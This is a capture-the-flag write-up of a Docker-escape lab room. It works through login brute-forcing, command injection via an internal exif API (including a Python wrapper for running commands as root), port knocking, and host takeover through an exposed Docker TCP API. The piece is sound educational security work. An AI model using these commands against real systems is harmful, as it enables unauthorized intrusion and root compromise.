Docker, Networks, and Container Escapes; Oh My! Link to heading
In my second room, I wanted to explore the concept of a Docker Escape. Docker is an extremely useful tool which allows us to isolate applications from each other and the host OS without having to resort to virtual machines. Properly configured it can be very secure, though misconfigurations can introduce massive security holes, which we shall soon see.
First Steps: Enumeration Link to heading
Naturally the first order of business is to see what’s on our machine. For this we’ll use nmap
of course.
nmap -vv -A $TARGET_IP -p-
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-07 13:58 CET
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:58
Completed NSE at 13:58, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:58
Completed NSE at 13:58, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:58
Completed NSE at 13:58, 0.00s elapsed
Initiating Ping Scan at 13:58
Scanning $TARGET_IP [2 ports]
Completed Ping Scan at 13:58, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:58
Completed Parallel DNS resolution of 1 host. at 13:58, 0.00s elapsed
Initiating Connect Scan at 13:58
Scanning $TARGET_IP [65535 ports]
Discovered open port 22/tcp on $TARGET_IP
Discovered open port 80/tcp on $TARGET_IP
Completed Connect Scan at 13:58, 3.51s elapsed (65535 total ports)
Initiating Service scan at 13:58
Scanning 2 services on $TARGET_IP
Stats: 0:02:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 14:02 (0:02:01 remaining)
Completed Service scan at 14:00, 156.12s elapsed (2 services on 1 host)
NSE: Script scanning $TARGET_IP.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:00
Completed NSE at 14:01, 25.62s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 3.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
Nmap scan report for $TARGET_IP
Host is up, received syn-ack (0.00036s latency).
Scanned at 2021-01-07 13:58:04 CET for 188s
Not shown: 65533 closed ports
Reason: 65533 conn-refused
PORT STATE SERVICE REASON VERSION
22/tcp open ssh? syn-ack
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp open http syn-ack nginx 1.19.6
|_http-favicon: Unknown favicon MD5: 67EDB7D39E1376FDD8A24B0C640D781E
| http-methods:
|_ Supported Methods: GET HEAD
| http-robots.txt: 3 disallowed entries
|_/api/ /exif-util /*.bak.txt$
|_http-server-header: nginx/1.19.6
|_http-title: docker-escape-nuxt
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port22-TCP:V=7.91%I=7%D=1/7%Time=5FF7056B%P=x86_64-pc-linux-gnu%r(Gener
SF:icLines,4,"3N\r\n");
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 189.90 seconds
We can see something odd here with the ssh server and the probe took quite a while longer than expected. Could there be shenanigans afoot? (hint: yes.)
Let’s take a look at the webserver for now.
On the homepage, we see an admin section. Clicking into it there’s a login form. Trying something like admin:password
calls an api which returns a 401: Unauthorized
response. Moreover, trying to register a new user throws an error saying signups are disabled.
Perhaps we can bruteforce the login?
Brute Forcing the login Link to heading
Using the firefox developper tools, we can see that the request sends a json structure with username and password
{
"username":"admin",
"password":"password"
}
Let’s try Hydra:
hydra -l admin -P /usr/share/wordlists/rockyou.txt 'http-post://$TARGET_IP/api/login/:{"username"\:"^USER^","password"\:"^PASS^"}:H=Content-Type\:application/json:F=ERROR'
Well this is awkward. Nothing seems to be working.
Trying with patator this time:
patator http_fuzz url=http://$TARGET_IP/api/login method=POST body='{"username": "admin", "password": "FILE0"}' 0=/usr/share/wordlists/rockyou.txt follow=1 accept_cookie=1 -x ignore:code=401
Oh dear we seem to be getting a lot of 503 errors. This likely indicates that there’s maybe some rate limiting going on with the login uri, especially since manually logging in returns a 401. Now we can continue trying to bruteforce the login by slowing down the bruteforcer, or we can look for another way in.
Directory Scanning Link to heading
Let’s see if we can find any other routes into the system. Clicking around throws everything else to the login page, so that’s a no go.
gobuster dir -f -u http://$TARGET_IP -w /usr/share/wordlists/dirb/big.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://$TARGET_IP
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Add Slash: true
[+] Timeout: 10s
===============================================================
2021/01/07 17:25:05 Starting gobuster
===============================================================
Error: the server returns a status code that matches the provided options for non existing urls. http://$TARGET_IP/c81f5291-f316-4719-95f4-258fdc94513b => 200. To force processing of Wildcard responses, specify the '--wildcard' switch
So this means that everything we try returns a 200
status. Trying something in the website confirms that we redirect an error page which offers a link back to home.
So bruteforcing the primary site is out, but what about the API?
obuster dir -f -u http://$TARGET_IP/api -w /usr/share/wordlists/dirb/big.txt 1 ⨯
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://$TARGET_IP/api
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Add Slash: true
[+] Timeout: 10s
===============================================================
2021/01/07 17:30:51 Starting gobuster
===============================================================
===============================================================
2021/01/07 17:30:57 Finished
===============================================================
It appears that the rate limiting is applied to the api route as well. Brute-forcing is probably not the way to go here.
Using our heads Link to heading
Let’s think a bit about the information we have. The first hint tells us to look for a “Well known file”. One proposed standard is the security.txt
file which should be placed in the .well-known
directory.
curl http://$TARGET_IP/.well-known/security.txt
Hey you found me!
The security.txt file is made to help security researchers and ethical hackers to contact the company about security issues.
See https://securitytxt.org/ for more information.
Ping /******* with a HEAD request for a nifty treat.
Using curl, we can get the first flag:
curl -I http://$TARGET_IP/*******
HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Thu, 07 Jan 2021 16:40:36 GMT
Connection: keep-alive
flag: THM{***************************}
Going on Link to heading
Another common file on servers is the robots.txt
file. Our nmap scan showed us the presence of this file with a few disallowed entries, let’s take a closer look:
curl http://$TARGET_IP/robots.txt
User-agent: *
Allow: /
Disallow: /api/
# Disallow: /exif-util
Disallow: /*.bak.txt$
We already know about the api route, but what’s this exif-util
thing? Let’s take a look:
We don’t know what language the server is running in behind, so let’s try uploading a simple php reverse shell to see what happens:
Some server-side checking seems to be enabled, as the API returns a 200 with as plain-text response. Let’s upload an image to see:
The API does something, but it’s unlikely that we’ll be able to get any malicious content onto the system that way. (Though send me a message if you do find a way to get something with this route ;)).
Exit-Util URL version Link to heading
Let’s try out the URL:
This may be promising, we can get an image from a url. We can also see the actual API call being invoked. This will let us eschew firefox in favour of curl (As the response appears to be plain text).
Confirming on the command line:
curl http://$TARGET_IP/api/exif?url=http://$TARGET_IP/_nuxt/img/logo-light.49baa3d.png
EXIF:
----------------------
[PNG-IHDR] Image Width - 600
[PNG-IHDR] Image Height - 300
[PNG-IHDR] Bits Per Sample - 8
[PNG-IHDR] Color Type - True Color with Alpha
[PNG-IHDR] Compression Type - Deflate
[PNG-IHDR] Filter Method - Adaptive
[PNG-IHDR] Interlace Method - No Interlace
[PNG-sRGB] sRGB Rendering Intent - Perceptual
[PNG-gAMA] Image Gamma - 0.455
[PNG-pHYs] Pixels Per Unit X - 3778
[PNG-pHYs] Pixels Per Unit Y - 3778
[PNG-pHYs] Unit Specifier - Metres
[File Type] Detected File Type Name - PNG
[File Type] Detected File Type Long Name - Portable Network Graphics
[File Type] Detected MIME Type - image/png
[File Type] Expected File Name Extension - png
XMP:
----------------------
There must be something behind that fetching the URL. Some lazy developers will simply use a system call to curl
or similar. Perhaps we can try to hijack the command invocation:
curl 'http://$TARGET_IP/api/exif?url=http://127.0.0.1;id'
An error occurred: 127.0.0.1;id
Response was:
---------------------------------------
<-- -1 http://127.0.0.1;id
Response :
Length : 0
Body : (empty)
Headers : (0)
It would appear that the command is being interpreted as part of the URL, and thus this api is immune to command injection.
Enumeration Part 2 Link to heading
There was another entry in the robots.txt file that was intriguing:
Disallow: /*.bak.txt$
Could this mean that some forgotten developer backup remains on the server? Let’s try!
curl http://$TARGET_IP/exif-util.bak.txt
<template>
<section>
<div class="container">
<h1 class="title">Exif Utils</h1>
<section>
<form @submit.prevent="submitUrl" name="submitUrl">
<b-field grouped label="Enter a URL to an image">
<b-input
placeholder="http://..."
expanded
v-model="url"
></b-input>
<b-button native-type="submit" type="is-dark">
Submit
</b-button>
</b-field>
</form>
</section>
<section v-if="hasResponse">
<pre>
{{ response }}
</pre>
</section>
</div>
</section>
</template>
<script>
export default {
name: 'Exif Util',
auth: false,
data() {
return {
hasResponse: false,
response: '',
url: '',
}
},
methods: {
async submitUrl() {
this.hasResponse = false
console.log('Submitted URL')
try {
const response = await this.$axios.$get('http://api-dev-backup:8080/exif', {
params: {
url: this.url,
},
})
this.hasResponse = true
this.response = response
} catch (err) {
console.log(err)
this.$buefy.notification.open({
duration: 4000,
message: 'Something bad happened, please verify that the URL is valid',
type: 'is-danger',
position: 'is-top',
hasIcon: true,
})
}
},
},
}
</script>
Hello! We can see a URL here with a similar api to the current exif-util GET call we saw before. Maybe we can get somewhere here?
curl http://$TARGET_IP/api/exif?url=http://api-dev-backup:8080/exif?url=http://localhost
An error occurred: HTTP Exception 400 Bad Request
Response was:
---------------------------------------
<-- 400 http://api-dev-backup:8080/exif?url=http://localhost
Response : Bad Request
Length : 29
Body : Request contains banned words
Headers : (2)
Content-Type : text/plain;charset=UTF-8
Content-Length : 29
Apparently there’s something responding at the other end! Although the response is a 400, let’s try some other inputs, such as a blank url.
curl http://$TARGET_IP/api/exif?url=http://api-dev-backup:8080/exif?url=
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
curl: no URL specified!
curl: try 'curl --help' or 'curl --manual' for more information
Success! we’re simply running curl on this machine! let’s try to inject some commands now:
curl "http://$TARGET_IP/api/exif?url=http://api-dev-backup:8080/exif?url=1;id" 6 ⨯
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
uid=0(root) gid=0(root) groups=0(root)
Oh holy joy the application is running as root!
This is a bit tedious though so let’s write a little program to help us out.
#! /usr/bin/python3
import requests
import os
import sys
ip = os.environ['TARGET_IP']
cmd = sys.argv[1]
r = requests.get(f'http://{ip}/api/exif?url=http://api-dev-backup:8080/exif?url=1;{cmd}')
result = r.text
lines = result.splitlines()
if (len(lines) > 6):
print('\n'.join(lines[6:]))
else:
print('\n'.join(lines))
it’s simple, but should provide us an interface, for example:
./inject.py id
uid=0(root) gid=0(root) groups=0(root)
Let’s start rooting around the filesystem
./inject.py "cd /root;ls"
dev-note.txt
ok let’s see what’s on that note
./inject.py "cat /root/dev-note.txt"
Hey guys,
Apparently leaving the flag and docker access on the server is a bad idea, or so the security guys tell me. I've deleted the stuff.
Anyways, the password is fluffybunnies123
Cheers,
Hydra
Password? PASSWORD! Link to heading
A password eh? seems to be a user as well, maybe it’s the admin password?
curl -v http://$TARGET_IP/api/login -d '{"username"\:"hydra","password"\:"fluffybunnies123"}' -H "Content-Type: application/json"
* Trying $TARGET_IP:80...
* Connected to $TARGET_IP ($TARGET_IP) port 80 (#0)
> POST /api/login HTTP/1.1
> Host: $TARGET_IP
> User-Agent: curl/7.74.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 52
>
* upload completely sent off: 52 out of 52 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 401 Unauthorized
< Server: nginx/1.19.6
< Date: Thu, 07 Jan 2021 21:27:43 GMT
< Content-Type: application/json
< Content-Length: 72
< Connection: keep-alive
<
{
"status": "ERROR",
"message": "Invalid Username or Password"
}
Guess not. There was a wierd ssh server as well, let’s see if that works.
ssh -v hydra@$TARGET_IP 255 ⨯
OpenSSH_8.4p1 Debian-3, OpenSSL 1.1.1i 8 Dec 2020
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: /etc/ssh/ssh_config line 19: include /etc/ssh/ssh_config.d/*.conf matched no files
debug1: /etc/ssh/ssh_config line 21: Applying options for *
debug1: Connecting to 10.0.2.4 [10.0.2.4] port 22.
debug1: Connection established.
debug1: identity file /home/hydra/.ssh/id_rsa type -1
debug1: identity file /home/hydra/.ssh/id_rsa-cert type -1
debug1: identity file /home/hydra/.ssh/id_dsa type -1
debug1: identity file /home/hydra/.ssh/id_dsa-cert type -1
debug1: identity file /home/hydra/.ssh/id_ecdsa type -1
debug1: identity file /home/hydra/.ssh/id_ecdsa-cert type -1
debug1: identity file /home/hydra/.ssh/id_ecdsa_sk type -1
debug1: identity file /home/hydra/.ssh/id_ecdsa_sk-cert type -1
debug1: identity file /home/hydra/.ssh/id_ed25519 type -1
debug1: identity file /home/hydra/.ssh/id_ed25519-cert type -1
debug1: identity file /home/hydra/.ssh/id_ed25519_sk type -1
debug1: identity file /home/hydra/.ssh/id_ed25519_sk-cert type -1
debug1: identity file /home/hydra/.ssh/id_xmss type -1
debug1: identity file /home/hydra/.ssh/id_xmss-cert type -1
debug1: Local version string SSH-2.0-OpenSSH_8.4p1 Debian-3
debug1: kex_exchange_identification: banner line 0: (}ckCD-[Dv^29I$hR
debug1: kex_exchange_identification: banner line 1: Hz[Mo:;5Gy^l)
debug1: kex_exchange_identification: banner line 2: D$&dma\\cldhJ*]`JjchD#&=muK$$"
The ssh server was a bit odd, and it’s in fact a tarpit designed to slow down port scanners and unsuspecting script kiddies spamming an ssh port. More information here: Endlessh: An SSH Tarpit.
Back to the Drawing Board Link to heading
Let’s take a closer look at our root directory, as the note did say that the files were removed. Perhaps traces still exist.
./inject.py "cd /root;ls -la"
total 28
drwx------ 1 root root 4096 Jan 7 16:48 .
drwxr-xr-x 1 root root 4096 Jan 7 17:54 ..
lrwxrwxrwx 1 root root 9 Jan 6 20:51 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwxr-xr-x 1 root root 4096 Jan 7 16:48 .git
-rw-r--r-- 1 root root 53 Jan 6 20:51 .gitconfig
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-rw-r-- 1 root root 201 Jan 7 16:46 dev-note.txt
There’s a git repository here… this could be interesting
./inject.py "cd /root;git log"
commit 5242825dfd6b96819f65d17a1c31a99fea4ffb6a
Author: Hydra
Date: Thu Jan 7 16:48:58 2021 +0000
fixed the dev note
commit 4530ff7f56b215fa9fe76c4d7cc1319960c4e539
Author: Hydra
Date: Wed Jan 6 20:51:39 2021 +0000
Removed the flag and original dev note b/c Security
commit a3d30a7d0510dc6565ff9316e3fb84434916dee8
Author: Hydra
Date: Wed Jan 6 20:51:39 2021 +0000
Added the flag and dev notes
The last one down (a3d30a7d0510dc6565ff9316e3fb84434916dee8) looks interesting. Let’s take a look
./inject.py "cd /root;git checkout a3d30a7d0510dc6565ff9316e3fb84434916dee8; ls -la"
Note: checking out 'a3d30a7d0510dc6565ff9316e3fb84434916dee8'.
You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by performing another checkout.
If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -b with the checkout command again. Example:
git checkout -b
HEAD is now at a3d30a7 Added the flag and dev notes
total 40
drwx------ 1 root root 4096 Jan 7 21:41 .
drwxr-xr-x 1 root root 4096 Jan 7 17:54 ..
lrwxrwxrwx 1 root root 9 Jan 6 20:51 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwxr-xr-x 1 root root 4096 Jan 7 21:41 .git
-rw-r--r-- 1 root root 53 Jan 6 20:51 .gitconfig
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 213 Jan 7 21:41 dev-note.txt
-rw-r--r-- 1 root root 75 Jan 7 21:41 flag.txt
Now we’re cooking with git! First we’ll grab the flag, then take a look at the dev-note as the loghs say it was also changed.
./inject.py "cd /root;cat flag.txt"
You found the root flag, or did you?
THM{***************************}
./inject.py "cd /root;cat dev-note.txt"
Hey guys,
I got tired of losing the ssh key all the time so I setup a way to open up the docker for remote admin.
Just knock on ports 42, 1337, 10420, 6969, and 63000 to open the docker tcp port.
Cheers,
Hydra
Knock Knock Link to heading
We got the root flag, but it’s apparently a root in a docker container! drats! But we see a major flaw here, the docker port is “wide” open. We just need to knock the right ports which should open up the docker tcp port. Let’s write a script to do this with curl.
#! /bin/bash
curl $TARGET_IP:42 -m 1
sleep 1
curl $TARGET_IP:1337 -m 1
sleep 1
curl $TARGET_IP:10420 -m 1
sleep 1
curl $TARGET_IP:6969 -m 1
sleep 1
curl $TARGET_IP:63000 -m 1
Yeah it’s dumb, but whatever works, eh?
Let’s see if it worked
nmap -A -v $TARGET_IP -p- 130 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-07 22:55 CET
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 22:55
Completed NSE at 22:55, 0.00s elapsed
Initiating NSE at 22:55
Completed NSE at 22:55, 0.00s elapsed
Initiating NSE at 22:55
Completed NSE at 22:55, 0.00s elapsed
Initiating Ping Scan at 22:55
Scanning 10.0.2.4 [2 ports]
Completed Ping Scan at 22:55, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:55
Completed Parallel DNS resolution of 1 host. at 22:55, 0.00s elapsed
Initiating Connect Scan at 22:55
Scanning 10.0.2.4 [65535 ports]
Discovered open port 22/tcp on 10.0.2.4
Discovered open port 80/tcp on 10.0.2.4
Discovered open port 2375/tcp on 10.0.2.4
Completed Connect Scan at 22:56, 3.55s elapsed (65535 total ports)
Initiating Service scan at 22:56
Scanning 3 services on 10.0.2.4
Completed Service scan at 22:58, 156.65s elapsed (3 services on 1 host)
NSE: Script scanning 10.0.2.4.
Initiating NSE at 22:58
Completed NSE at 22:59, 28.60s elapsed
Initiating NSE at 22:59
Completed NSE at 22:59, 3.00s elapsed
Initiating NSE at 22:59
Completed NSE at 22:59, 0.00s elapsed
Nmap scan report for 10.0.2.4
Host is up (0.00048s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh?
| fingerprint-strings:
| GenericLines:
|_ Vw9>1J8&
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp open http nginx 1.19.6
|_http-favicon: Unknown favicon MD5: 67EDB7D39E1376FDD8A24B0C640D781E
| http-methods:
|_ Supported Methods: HEAD
| http-robots.txt: 3 disallowed entries
|_/api/ /exif-util /*.bak.txt$
|_http-server-header: nginx/1.19.6
|_http-title: docker-escape-nuxt
2375/tcp open docker Docker 20.10.2 (API 1.41)
| docker-version:
| Platform:
| Name: Docker Engine - Community
| GoVersion: go1.13.15
| Arch: amd64
| Components:
|
| Version: 20.10.2
| Details:
| GoVersion: go1.13.15
| Arch: amd64
| Experimental: false
| GitCommit: 8891c58
| Os: linux
| ApiVersion: 1.41
| MinAPIVersion: 1.12
| KernelVersion: 4.15.0-129-generic
| BuildTime: 2020-12-28T16:15:09.000000000+00:00
| Name: Engine
|
| Version: 1.4.3
| Details:
| GitCommit: 269548fa27e0089a8b8278fc4fc781d7f65a939b
| Name: containerd
|
| Version: 1.0.0-rc92
| Details:
| GitCommit: ff819c7e9184c13b7c2607fe6c30ae19403a7aff
| Name: runc
|
| Version: 0.19.0
| Details:
| GitCommit: de40ad0
| Name: docker-init
| Version: 20.10.2
| GitCommit: 8891c58
| Os: linux
| ApiVersion: 1.41
| BuildTime: 2020-12-28T16:15:09.000000000+00:00
| KernelVersion: 4.15.0-129-generic
|_ MinAPIVersion: 1.12
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port22-TCP:V=7.91%I=7%D=1/7%Time=5FF7837C%P=x86_64-pc-linux-gnu%r(Gener
SF:icLines,A,"Vw9>1J8&\r\n");
Service Info: OS: linux
NSE: Script Post-scanning.
Initiating NSE at 22:59
Completed NSE at 22:59, 0.00s elapsed
Initiating NSE at 22:59
Completed NSE at 22:59, 0.00s elapsed
Initiating NSE at 22:59
Completed NSE at 22:59, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 193.31 seconds
Hey a docker port on 2375. Let’s see what’s on the machine
Docker Abuse, aka Breaking Out of Jail Link to heading
DOCKER_HOST=tcp://$TARGET_IP:2375 docker image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
exif-api-dev latest 4084cb55e1c7 4 hours ago 214MB
exif-api latest 923c5821b907 5 hours ago 163MB
frontend latest 577f9da1362e 5 hours ago 138MB
endlessh latest 7bde5182dc5e 24 hours ago 5.67MB
nginx latest ae2feff98a0c 3 weeks ago 133MB
debian 10-slim 4a9cd57610d6 3 weeks ago 69.2MB
registry.access.redhat.com/ubi8/ubi-minimal 8.3 7331d26c1fdf 4 weeks ago 103MB
alpine 3.9 78a2ce922f86 8 months ago 5.55MB
What we do here is set the Docker remote host to our victim bax, and thus we can run docker commands via the api as if it were local (ish). We could curl the API, but this is easier. We also see an alpine image which can be interesting.
DOCKER_HOST=tcp://$TARGET_IP:2375 docker run -it -v /:/mnt/host alpine:3.9 /bin/sh
So here we spin up an alpine container, while mounting the /
directory on the host to the /mnt/host
directory inside the container. We then enter the container using an interactive session with sh
.
Inside the container, we have free reign to grab the final flag.
cd /mnt/host/root
ls -la
total 24
drwx------ 3 root root 4096 Jan 6 22:37 .
drwxr-xr-x 22 root root 4096 Jan 6 16:44 ..
lrwxrwxrwx 1 root root 9 Jan 6 17:22 .bash_history -> /dev/null
-rw-r----- 1 root root 3106 Apr 9 2018 .bashrc
drwxr-xr-x 3 root root 4096 Jan 6 22:35 .local
-rw-r----- 1 root root 148 Aug 17 2015 .profile
-rw------- 1 root root 74 Jan 6 22:37 flag.txt
cat flag.txt
Congrats, you found the real flag!
THM{***************************}
Huzzah! We’ve gotten all the flags.
Lessons Learned Link to heading
So we can learn a few lessons here.
Firstly, Docker is amazing, but handle it with great care. Unsecured TCP access leaves the entire machine no matter how well it’s hidden.
Secondly, Git is great but it can leave traces behind.
Third, Port Knocking is not a secure way to secure anything. Once the secret is out, assume that that service is wide open. Security by obscurity never saved anyone ;)
I hope you all had as much fun cracking this box as I did building it.
Cheers,
Hydra